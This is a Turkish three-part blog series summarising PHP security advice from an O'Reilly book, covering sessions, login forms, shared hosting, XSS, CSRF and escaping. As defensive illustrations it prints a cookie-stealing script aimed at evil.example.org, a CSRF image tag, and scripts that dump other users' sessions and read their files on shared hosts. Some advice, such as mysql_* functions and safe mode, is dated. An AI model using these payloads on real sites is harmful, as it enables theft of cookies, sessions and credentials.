Php Güvenlik – 3

Session (Oturum) Güvenliği

php güvenlikSession içerisinde çok önemli bilgiler tutulduğundan session güvenlik açısından çok önemlidir. Session verilerinin sunucu tarafında tutulması güvenlik açısından içimizi rahatlatan en önemli faktördür.

SSL kullanımını etkinleştirmek server ve client arasındaki veri akışının daha güvenli bir biçimde sağlanması açısından önemlidir. SSL sayesinde bütün HTTP istek ve yanıtları korumalı bir şekilde aktarılır.

Güvenlik kalkanınızı biraz daha güçlendirmek isterseniz session içerisine yazılacak verileri şifreleyerek yazmayı tercih edebilirsiniz. Böylece session içerisindeki veriler şifrelemeyi çözecek anahtar olmadan okunamaz. Şifreleme işi session_set_save_handler( )  fonksiyonu yardımıyla yapılabilir.

Session değişkenini her seferinde yeniden üretmek de saldırganın işini zorlaştıracaktır

<?php
session_start();
if (!isset($_SESSION['initiated'])) {
   session_regenerate_id();
   $_SESSION['initiated'] = TRUE;
}
?>

Sitemizde bir belgeden aldığımız verileri arayüzde göstereceksek file_get_contents‘ten gelen veriler filtrelenmelidir. Bunu aşağıdaki gibi yapabiliriz:

<?php
$clean = array();
$html = array();
/* Filter Input ($_GET['filename']) */
$contents = file_get_contents($clean['filename']);
/* Filter Input ($contents) */
$html['contents'] = htmlentities($clean['contents'], ENT_QUOTES, 'UTF-8');
echo $html['contents'];
?>

Login Formlarının Güvenliği

Sisteminize kayıtlı üyenin kullanıcı adı, şifre bilgilerini yazarak sisteme giriş yapacağı formların güvenliğinin sağlanması çok önemli bir güvenlik konusudur. Sisteme giriş yapmak isteyen bir saldırgan sürekli farklı şifreler deneyen bir bot tasarlayarak sisteminize giriş yapmaya çalışacaktır. Bu tarz botları engellemek amacıyla çeşitli güvenlik önlermleri alınabilir. Bunlardan bir tanesi sisteme giriş formunuzda captcha kullanmaktır. Bu çözüm başarılı olsa da kullanıcıları sıkan bir yöntem olduğundan bu yöntemi tercih etmek istemeyebilirsiniz. Alacağınız bir diğer güvenlik önlemi ise bir kişinin art arda belli bir zaman aralığında yanlış şifre denemesi yaptığını tespit ederek onun belli bir süre sisteme giriş yapmasını engellemektir. Bu süre 15 dk olarak belirlenebilir. Örneğin 3 kere yanlış şlifre girilirse bir daha deneme yapmak için 15 dk beklemesi gerekecek. Bu tarz bir yöntem saldırganın işini oldukça zorlaştıracaktır.

Http isteklerinin saldırgan tarafından dinlenmesi ihtimali göz önüne alınarak bu isteklerin güvenli bir şekilde gidip gelmesi amacıyla https protokolü kullanılabilir. Bu şekilde server ve client arasındaki veri akışı bir saldırgan tarafından ele geçirilse bile içeriğin ne olduğu kolay kolay çözülemeyecektir.

Paylaşımlı Hosting Kullanımından Doğabilecek Güvenlik Açıkları

Paylaşımlı hosting üzerindeki başka bir sitenin sahibi olan geliştirici sizin kaynak kodlarınızı okuyabilecek bir script geliştirebilir. Aşağıdaki gibi bir kodda file isminmi belirtmek bu işi gerçerkleştirmek için yeterlidir.

<?php
header('Content-Type: text/plain');
readfile($_GET['file']);
?>

Bu güvenlik açığını engellemek amacıyla alacağınız önemli önlemlerden bir tanesi de çok önemli bilgileri mümkün olduğunca veritabanında tutmaya çalışmaktır. Ancak bu da her zaman çözüm değildir çünkü veritabanı erişim bilgilerini yine de kaynak kodlarımız içerisinde tutmamız gerekecek. Bu soruna da şöyle bir çözüm getirebiliriz. Veritabanı erişim bilgilerini sadece root erişimi olacak şekilde ayarlarız.

SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"

Bu değişkenlere kod içerisinde şu şekilde erişebiliriz:

<?php
$db_user = $_SERVER['DB_USER'];
$db_pass = $_SERVER['DB_PASS'];
$db_host = 'localhost';
$db = mysql_connect($db_host, $db_user, $db_pass);
?>

Önemli verileriniz $_SERVER değişkeninde olduğundan bu bilgileri kullanıcya sunabilecek phpinfo() fonksiyonunun kullanıcılara açık bir yerde kullanılmasından kaçının.

Session verilerinizin de güvenliği paylaşımlı hosting kullanımlarında tehlike altındadır. Session bilgileri tmp dosyası altında tutulur ve bu dosya bütün apache kullanıcılarının yazma izniyle erişebileceği bir yerdir.  Kötü niyetli bir kişi session verilerinin yazacağı bir script yardımıyla okuyabilir. Bu script aşağıdaki gibi olabilir.

<?php
header('Content-Type: text/plain');
session_start();
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read()) {
   if (substr($filename, 0, 5) == 'sess_') {
      $data = file_get_contents("$path/$filename");
      if (!empty($data)) {
         session_decode($data);
         $session = $_SESSION;
         $_SESSION = array();
         echo "Session [" . substr($filename, 5) . "]\n";
         print_r($session);
         echo "\n--\n\n";
      }
   }
}
?>

Böyle bir güvenlik açığını kapatmanın yolu session bilgilerini veritabanında tutmaktır.

Php safe mode

Bu mod açık ise bir script çalıştırıldığında o scripti ç.alıştıran kullanıcı ile erişilmeye çalışılan kaynak sahibinin aynı kullanıcı olup olmadığı kontrol edilir. Böylece başka bir kullanıcının sizin dosyalarınıza erişimi engellenmiş olur. Safe Mode php ile yazılmış scriptler için güvenlik sağlarken diğer dillerde yazılmış olan scriptler açısından bir şey ifade etmez. Aşağıdaki gibi bir CGI scripti buna örnektir.

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victim/inc/db.inc

Host tarafından desteklenen Perl, Phyton gibi dillerde yazılacak scriptlerin hiçbiri safe mode ayarını dikkate almayacaktır.

Safe modun bir diğer zayıf tarafı ise scriptlerin kendi içerisinde yeni script yaratabilir ve bu yaratılan yeni scriptin sahibi web server olacaktır. Web server bütün dosyalara erişim hakkına sahip olduğundan safe modun burada herhangi güvenlik etkisi kalmayacaktır.

Kaynak : Php Essential Security- O’Reilly

Php Güvenlik – 2

php güvenlikWeb uygulamaları genellikle dışarıdan verileri formlar aracılığıyla alır. Bu nedenle güvenlik açısından en çok dikkat edilmesi gereken yert formlardır. Kullanıcı verileri GET, POST veya HTTP HEADER (örn: Cookieler ) ile gönderebilir.

Kullanıcıdan bir belge yüklenmesi isteniyorsa, sunucu tarafında belgenin belli bir büyüklükte olmasına dair kontrol yapılmalıdır. Php nin is_uploaded_file() fonksiyonu kullanılarak bu belgenin gerçekten yüklenip yüklenmediğini kontrol etmek mantıklı olabilir. Aşağıdaki gibi bir kod parçasıyla gerekli kontrolü yapabiliriz

<?php
$filename = $_FILES['attachment']['tmp_name'];
if (is_uploaded_file($filename))
{
   /* $_FILES['attachment']['tmp_name'] is an uploaded file. */
}
?>

Upload edilen belgeleri daha kalıcı bir yere taşınmak istenirse aşağıdaki gibi bir kod kullanılabilir.

<?php
$old_filename = $_FILES['attachment']['tmp_name'];
$new_filename = '/path/to/attachment.txt';
if (move_uploaded_file($old_filename, $new_filename))
{
   /* $old_filename is an uploaded file, and the move was successful. */
}
?>

Güvenlik açısından en önemli kural mümkün olduğunca az güvenmektir. Her aşamada şüpheci olmakta fayda vardır.

Cross Site Scripting (XSS)

Bu saldırı türü çok sık görülen saldırı türlerinden bir tanesidir. Kullanıcıdan aldığı veriyi gösteren her bir uygulama bu saldırı türüne maruz kalma riski taşımaktadır. Web sitemizde kullanıcıların yorum yazdığı bölüme aşağıdaki gibi bir kod parçası girildiğini varsayalım

<script>
   document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie
</script>

Saldırgan bu script çalıştığı taktirde, ilgili, web sayfasını görüntüleyen kullanıcının cookie bilgilerini çalabilir ($_GET[‘cookies’] içerisindeki herşeye ulaşabilir) ve kendi sitesine yönlendirerek bu bilgileri daha sonra kötü amaçlarla kullanılmak üzere kaydedebilir.

Kullanıcıya gösterilecek her bir veri en azından htmlentities( ) fonksiyonundan geçirilerek bu saldırı türünü kolayca engellenebilir. Aşağıda bu saldırıya karşı geliştirilmiş bir güvenlik önlemi gösterilmektedir.

<?php
$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['name']} writes:<br />";
echo "<blockquote>{$html['comment']}</blockquote></p>";
?>

CSRF Saldırıları (Cross-Site Request Forgeries)

Saldırgan sizin sitenize giriş yapmış bir kullanıcıya bir url’yi ziyaret etmesini sağlayarak o kullanıcının kendi bilgisi dışında bir işlem gerçekleştirmesini sağlayabilir. Örnek olarak aşağıdaki url’yi inceleyelim.

http://store.example.org/buy.php?item=pen&quantity=1

Sizin alışveriş sitenizde bir kullanıcının 1 adet kalem almasını sağlayan url yukarıdaki gibidir. Sisteminize kullanıcı adı ve şifresiyle giriş yapmış her bir kullanıcı bu bağlantıya tıkladığında bir adet kalem satın almış olur. Böylece saldırgan bu url adresine yönlendirme yapan bir linke tıklamanızı sağlarsa sizin bilginiz dışında alışveriş yapmanızı sağlamış olur. Saldırgan bu saldırı yöntemiyle sizin isteminiz dışında şifrenizi bile değiştirecek boyutta büyük zararlar vererek yaptırmak istediği her türlü işlemi size yaptırabilir.

Saldırganın yapması gereken tek şey sizi belli bir url adresine yönlendirmek olduğunda bunu çeşitli yöntemlerle gerçekleştirebilir. Bu yöntemlerden en yaygını bir tıklama işlemi yapmanıza bile gerek kalmadan size gösterilen bir resmin içerisine tıklama işlemini otomatik olarak gerçekleştiren kodlar gömmektir.

HTML tagı img’nin src atrribute değerinde yer alan url için browserlar ayrı bir istek gönderir bu sayede saldırganbu kod sayesinde istediği url’ye istek göndermemizi sağlayabilir. Örneği aşağıdaki gibidir.

<img src="http://store.example.org/buy.php?item=pencil&quantity=50" />

Bu saldırı türüne karşı alınabilecek güvenlik önlemleri şu şekilde sıralanabilir:

GET yerine POST kullanmanız saldırganın işini zorlaştıracaktır.

Aşağıda CSRF saldırısnın önüne tamamen geçmeyi amaçlayan bir form örneği gösterilmiştir.

<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
<form action="buy.php" method="POST">
   <input type="hidden" name="token" value="<?php echo $token; ?>" />
   <p>
      Item:
      <select name="item">
         <option name="pen">pen</option>
         <option name="pencil">pencil</option>
      </select><br />
      Quantity: <input type="text" name="quantity" /><br />
      <input type="submit" value="Buy" />
   </p>
</form>

Gelen verileri doğrulama işlemi ise şu şekilde yapılacaktır.

<?php
if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])
{
    /* Valid Token */
}
?>

Güvenliği daha da güçlendirmek için bir tokenin sadece 5 dakika boyunca kullanılmasını sağlayabiliriz.

<?php
$token_age = time() - $_SESSION['token_time'];
if ($token_age <= 300)
{
    /* Less than five minutes has passed. */
}
?>

KAYNAK: Essential Php Security Kitabı- O’ Rielly

Php Güvenlik – 1

php güvenlikPhp ile kod yazarken dikkat etmeniz gereken güvenlik önlemleri ile ilgili aldığım notları birkaç bölüm halinde aktarmaya çalışacağım.

Sistemde herhangi bir hata mesajının kullanıcılara gösterilmesi ciddi bir güvenlik açığıdır. Bütün hata mesajları log dosyalarına yazılmalıdır.Hata mesajlarının güvenlikle ilgili ciddi açıklara neden olabilecek bilgiler yer alabilir. Aşağıdaki kodları kullanarak hataların loglara yazılması sağlanabilir. Ayrıca kritik bilgiler içerebilecek olan hata mesajlarının kullanıcılara gösterilmesinin önüne geçmiş olursunuz.

ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/usr/local/apache/logs/error_log');

Hata durumlarında çalıştırılmak üzere özel fonksiyonlarımızı yazabiliriz. Bu fonksiyonların hata esnasında çalışması için şu şekilde bir kod yazılabilir.

set_error_handler('my_error_handler');

Aşağıda hata durumunda çalıştırılabilecek örnek bir fonksiyon örneği bulunmaktadır.

function my_error_handler($number, $string, $file, $line, $context) {
   $error = "= == == == ==\nPHP ERROR\n= == == == ==\n";
   $error .= "Number: [$number]\n";
   $error .= "String: [$string]\n";
   $error .= "File: [$file]\n";
   $error .= "Line: [$line]\n";
   $error .= "Context:\n" . print_r($context, TRUE) . "\n\n";
   error_log($error, 3, '/usr/local/apache/logs/error_log');
}

Aşağıdaki gibi bir kullanım ile sadece Uyarılar için fonksiyonumuzun çalışmasını sağlamış oluruz

set_error_handler('my_warning_handler', E_WARNING);

Kullanıcı çok önemli bir işlem gerçekleştirmek istediğinde, sisteme zaten giriş yapmış olsa bile şifre istenebilir. Bunun örneklerini Facebook ve Twitter’in de uyguladığını görmekteyiz.

Get ve Post ile gelen verilerin atamasının yapılmadığı taktirde değişkenlere boşluk ataması yapmak gerekir . Bunu iki farklı şekilde yapabilirsiniz.

$search = (isset($_GET['search']) ? $_GET['search'] : '');

veya

$search = '';
if (isset($_GET['search'])) {
    $search = $_GET['search'];
}

Kredi kartı bilgisi gibi hassas veriler SSL ile aktarılmalıdır.

Kullanıcıya kredi kartı bilgilerini göstereceğiniz zaman sadece son 4 hanenin gösterilmesi gibi yaklaşımlar benimsenebilir.

Session değişkeni çok hassas bilgiler içerebileceğinden sunucu tarafında tutulmalıdır.

Kullanıcı tarafından gönderilen verilerin düzeltilmeye çalışılmasının güvenlik açıklarına neden olabileceğini dikkate almak gerekiyor.

$clean şeklinde bir değişken belirleyip güvenli olduğunu doğruladığımız değişkenleri bu array içerisine atabiliriz. Daha sonra kodun istenilen yerinde $clean dizisi içerisindeki değişkenleri güvenle kullanabiliriz.

Kullanıcıya gösterilecek verilerin htmlentities( ) fonksiyonundan geçirilmesi gerekir. Bu fonksiyona ek parametrelerler vermemiz gerekir. Bunlar ENT_QUOTES ve UTF-8 parametreleridir. $html isimli arrayimizde de filtrelenmiş ve escape edilmiş verileri tutarız.

$html = array( );
$html['username'] = htmlentities($clean['username'],ENT_QUOTES, 'UTF-8');
echo "<p>Welcome back, {$html['username']}.</p>";

Veritabanı olarak mysql kullanıyorsanız query içerisinde kullanılacak verileri mysql_real_escape_string( ) fonsiyonundan geçirmeniz önemlidir.

Eğer MySql kullanmıyorsanız son çare olarak addslashes( ) kullanmalısınız.

$mysql = array( );
$mysql['username'] =mysql_real_escape_string($clean['username']);
$sql = "SELECT * FROM profile WHERE username = '{$mysql['username']}'";
$result = mysql_query($sql);

KAYNAK: Essential PHP Security O’Rielly